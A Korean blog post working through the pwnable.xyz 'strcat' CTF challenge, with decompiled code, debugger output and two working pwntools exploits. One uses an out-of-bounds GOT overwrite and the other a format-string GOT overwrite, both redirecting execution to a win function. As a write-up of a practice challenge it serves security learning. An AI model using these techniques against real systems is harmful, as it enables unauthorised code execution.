security/포너블 - pwnable.xyz

pwnable.xyz - strcat

민사민서 2023. 2. 12. 16:45

# exploit 1 (using OOB)

from pwn import *

p = remote("svc.pwnable.xyz", 30013)
# p = process("./challenge")
e = ELF("./challenge")

p.recvuntil("Name: ")
p.send('\x00')
p.recvuntil("Desc: ")
p.sendline("hahaha")

for i in range(8):
    p.sendlineafter("> ", "1")
    p.recvuntil("Name: ")
    p.send("\x00")

p.sendlineafter("> ", "1")
p.sendlineafter("Name: ", 'A'*0x80+'\x30\x20\x60') # strlen@got
p.sendlineafter("> ", "2")
# strlen@got 바로 다음이 system@got이어서 1바이트라도 오버하면 system("cat /flag") 실행 안됨ㅋㅋ
p.sendafter("Desc: ", p64(e.symbols['win']))

p.interactive()

# exploit 2 (using fsb)

from pwn import *

p = remote("svc.pwnable.xyz", 30013)
# p = process("./challenge")
e = ELF("./challenge")

putchar_got = e.got['putchar']
winAddr = e.symbols['win']

''' %ln 쓰면 8byte overwrite 가능하다
p.recvuntil("Name: ")
p.sendline("%{}c%6$nAAAAAAA".format(e.got['puts'])) # 주소=8자리 정수
p.recvuntil("Desc: ")
p.send("%{}c%36$lnEND".format(winAddr)) # 주소=8자리 정수
'''
p.recvuntil("Name: ")
p.sendline("%{}c%6$nAAAAAAA".format(putchar_got)) # 주소=8자리 정수
p.recvuntil("Desc: ")
p.send("%{}c%36$nEND".format(winAddr)) # 주소=8자리 정수

p.sendlineafter("> ", "3")
p.recvuntil("END") # 엄청난 공백이 출력되므로 나만의 flg를 만들어 거기까지 받아버리자
#gdb.attach(p)
#pause()
p.interactive()

 

 

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int int32; // eax
  int v4; // ebx
  unsigned int v5; // ebx
  size_t v6; // rax

  setup(argc, argv, envp);
  puts("My strcat");
// 전역변수 maxlen (4byte)
  maxlen = 128;
  printf("Name: ");
// 전역변수 name에 최대 128자 입력받는데, 마지막바이트는 NULL 처리, NULL 전까지 바이트수 반환
  maxlen -= readline(name, 128LL);
  desc = (char *)malloc(0x20uLL);
  printf("Desc: ");
// 전역변수 desc에 최대 32자 입력받는데, name 길이 기준 마지막바이트 NULL처리
// char name[128] 바로 뒤에 (void *)desc 있다
  readline(desc, 32LL);
  while ( 1 )
  {
    print_menu(); // puts("Menu:\n1. Concat to name.\n2. Edit description.\n3. Print it all.");
    printf("> ");
    int32 = read_int32();
    switch ( int32 )
    {
      case 2:
        printf("Desc: ");
        readline(desc, 32LL);
        break;
      case 3:
        printf(name);
        printf(desc);
        putchar(10);
        break;
      case 1:
        printf("Name: ");
        v4 = maxlen;
// cf) strlen:  '\0'문자를 만나기 전까지의 byte수
        v5 = v4 - strlen(name);
        v6 = strlen(name);
        maxlen -= readline(&name[v6], v5);
        break;
      default:
        puts("Invalid");
        break;
    }
  }
}
__int64 read_int32()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]
  char *nptr; // [rsp+8h] [rbp-8h]

  nptr = (char *)malloc(0x20uLL);
  readline(nptr, 32LL);
  v1 = atoi(nptr);
  free(nptr);
  return v1;
}
__int64 __fastcall readline(void *a1, int a2)
{
  int v2; // eax

  read(0, a1, a2);
  v2 = strlen(name); 
  *((_BYTE *)a1 + v2 - 1) = 0;
  return (unsigned int)(v2 - 1);
}


- Partial RELRO   No canary found   NX enabled    No PIE
- name[0x80]과 desc 포인터가 나란히 붙어있네
- 그리고 maxlen>0으로 유지되는지 검사하는 루틴이 없네? (무한정 read 가능?)

- movzx: 부호없는 산술값에서 사용됨, 목적지 피연산자의 왼쪽 비트들을 0으로 채움
- movsx: 부호있는 산술값에서 사용됨, 목적지 피연산자의 왼쪽 비트들을 부호비트로 채움
pwndbg> disas readline
Dump of assembler code for function readline:
~~
   0x000000000040097a <+8>:    mov    QWORD PTR [rbp-0x18],rdi ; 첫번째 인자 
   0x000000000040097e <+12>:   mov    DWORD PTR [rbp-0x1c],esi ; 두번째 인자
   0x0000000000400981 <+15>:   mov    eax,DWORD PTR [rbp-0x1c]
   0x0000000000400984 <+18>:   movsxd rdx,eax ; 3번째 인자에 a2를 부호 고려해 확장해버림
; readline 두번째 인자 unsigned int 였다면 movzxd rdx,eax였을 것
   0x0000000000400987 <+21>:   mov    rax,QWORD PTR [rbp-0x18]
   0x000000000040098b <+25>:   mov    rsi,rax
   0x000000000040098e <+28>:   mov    edi,0x0
   0x0000000000400993 <+33>:   call   0x400790 <read@plt>


<exploit 계획1 - readline 두번째 인자로 음수 넘기면 엄청 큰 unsigned int size로 인식?!>
1. 처음에 Name엔 66자, Desc엔 아무렇게나 입력. maxlen = 128-65 = 63 될거임
2. case 1 선택. readline(&name[65], 0xfffffffe) 호출될 것임.
3. read(0, &name[65], 0xfff~ffffe) 호출. 63자 입력 후 strlen@got 주소 8byte 입력 후 엔터 
4. case 2 선택. win주소 8자 입력

[problem]
3번에서 입력한 값이 버퍼에 안들어감. read 실패 후 -1 리턴. 왜???
2번에서 두번째 인자로 0xfffffffe 넘어가서 read의 size_t 인자로 들어갈 땐 0xffff~ffffe 로 확장된다
In practice, a read() with a count larger than SSIZE_MAX results in an EFAULT
값이 너무 커서 read 실패한 듯. (-1리턴) 쨌든 readline의 두번째 인자로 음수를 넘겨서는 안된다!

- readline() 리턴값 -1을 이용해 maxlen을 128보다 크게 만들자
<exploit 계획2>
1. 처음에 name에 널바이트 입력, desc엔 아무렇게 입력. maxlen = 128-(-1) = 129
2. case 1 선택 후 널바이트 입력 * 4번반복. maxlen = 129-(-3)=132
3. case 1 선택 후 'A'*128+strlen@got 주소+'\n' 입력
4. case 2 선택 후 win주소 입력

[주의할 점]
p64(e.got['strlen'] =  \x30\x20\x60\x00 ~ 에서 널바이트 전 바이트 지워지므로 수동으로 세바이트+a 입력
GOT에 win addr overwrite 할 땐 널바이트 신경 안써도 됨 (어떤 함수의 got overwrite 해도 됨)
*((_BYTE *)a1 + v2 - 1) = 0; 에서 v2=strlen(name)에서 가져오므로
- printf(name); printf(desc); 에서 fsb 취약점 발생
- fsb란 스택의 값을 읽어오거나, 스택에 주솟값 넣어두고 그 주소에 값을 쓰는 행위...
- 주솟값을 넣을 마땅한 버퍼가 없다. 스택에 위치한 스택주솟값들을 이용하자 !!!!!!
- case 3에서 첫번째 printf 호출 직전에 bp 걸고 스택상황 살펴보자
(printf 직전 스택 상황은 로컬이나 원격이나 동일할 것, 왜 이 값이 들어있는지는 알 수 x)
(ASLR 적용되어도 스택 내 offset은 일정할 것)
pwndbg> x/6gx $rsp
0x7fffffffde00:    0x00007fffffffdef0 0x0000000000000000
0x7fffffffde10:    0x0000000000400b90 0x00007ffff7a03c87
0x7fffffffde20:    0x0000000000000001 0x00007fffffffdef8

- 스택에 스택주소로 보이는(0x00007fffffffdef0, 0x00007fffffffdef8) 블록들이 몇 있다, 사용해보자.
pwndbg> x/gx 0x00007fffffffdef0
0x7fffffffdef0:    0x0000000000000001
pwndbg> x/gx 0x00007fffffffdef8
0x7fffffffdef8:    0x00007fffffffe28b
- 두번째는 got주소를 써넣기에 적합하지 않다 (4byte보다 더 차있음) 
- QWORD_PTR [rsp]가 몇번째 %p에 등장하는지 보자(%p %p %p %p .... 입력) -> 6번째에 등장
   [원격에서 테스트해보니 6번째에 스택 값처럼 보이는 게 등장했다]
- 그렇다면 0x00007fffffffdef0는 6+(0xf0/0x8)=36번째 %p에 등장할 것
   [원격에서 테스트해보니 36번째에 1이 들어있었다 - 로컬/원격 환경 동일함을 확신]
pwndbg> c
Continuing.
0x603018 0x603010 0x1 0x603291 (nil) 0x7fffffffdef0 (nil)
원격에선>
(nil) 0x1892018 0x1892010 (nil) 0x1999999999999999 0x7ffd0ea492a0 (nil)


<exploit 계획>
1. step1: 0x00007fffffffdef0이 몇번째 %p에 등장하는지 확인 = 6번째 (in 원격, 로컬)
2. step2: %6$n 해서 0x00007fffffffdef0에 got 주소 저장 (printf(name); 에서)
3. step3: %36$n 해서 got에 win 주소 저장 (printf(desc); 에서)
4. step4: option3 선택해 printf문 실행시킨다


<주의할 점>
readline() 함수에서 name 길이-1에 해당하는 바이트를 널로 만든다.
name 문자열 길이가 desc 문자열 길이보다 충분히 길면 문제 안될 듯
v2 = strlen(name); 
*((_BYTE *)a1 + v2 - 1) = 0;

GOT 4byte overwrite 가능하므로 fsb 실행 시점에 한번도 실행 안 된 함수의 GOT이어야 한다
한번이라도 실행됐으면 0x7f~ 주소가 들어있으므로 4byte overwrite으론 부족
putchar, exit, system 있는데 이 중 putchar만 코드 흐름상에서 호출 가능

처음 알게된 사실인데 %ln하면 8byte 쓸 수 있나보네? 그러면 어떤 함수의 GOT이든 overwrite 가능하지~

 

새롭게 알게 된 점

- read(fd,buf,size)에서 size로 음수를 주면 엄청 큰 정수로 인식한다

- 하지만 size가 너무 커지면 읽어들이지 않고 바로 -1 리턴해버린다

- %ln 를 이용하면 8byte overwrite이 가능하다

- 스택에 주소를 입력할 마땅한 버퍼가 없으면 rsp 근처에 저장된 스택주솟값을 활용해 스택에 user input 입력하자

'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - message  (0) 2023.02.16
pwnable.xyz - iape  (0) 2023.02.15
pwnable.xyz - J-U-M-P  (0) 2023.02.12
pwnable.xyz - SUS  (0) 2023.02.09
pwnable.xyz - fspoo  (0) 2023.02.09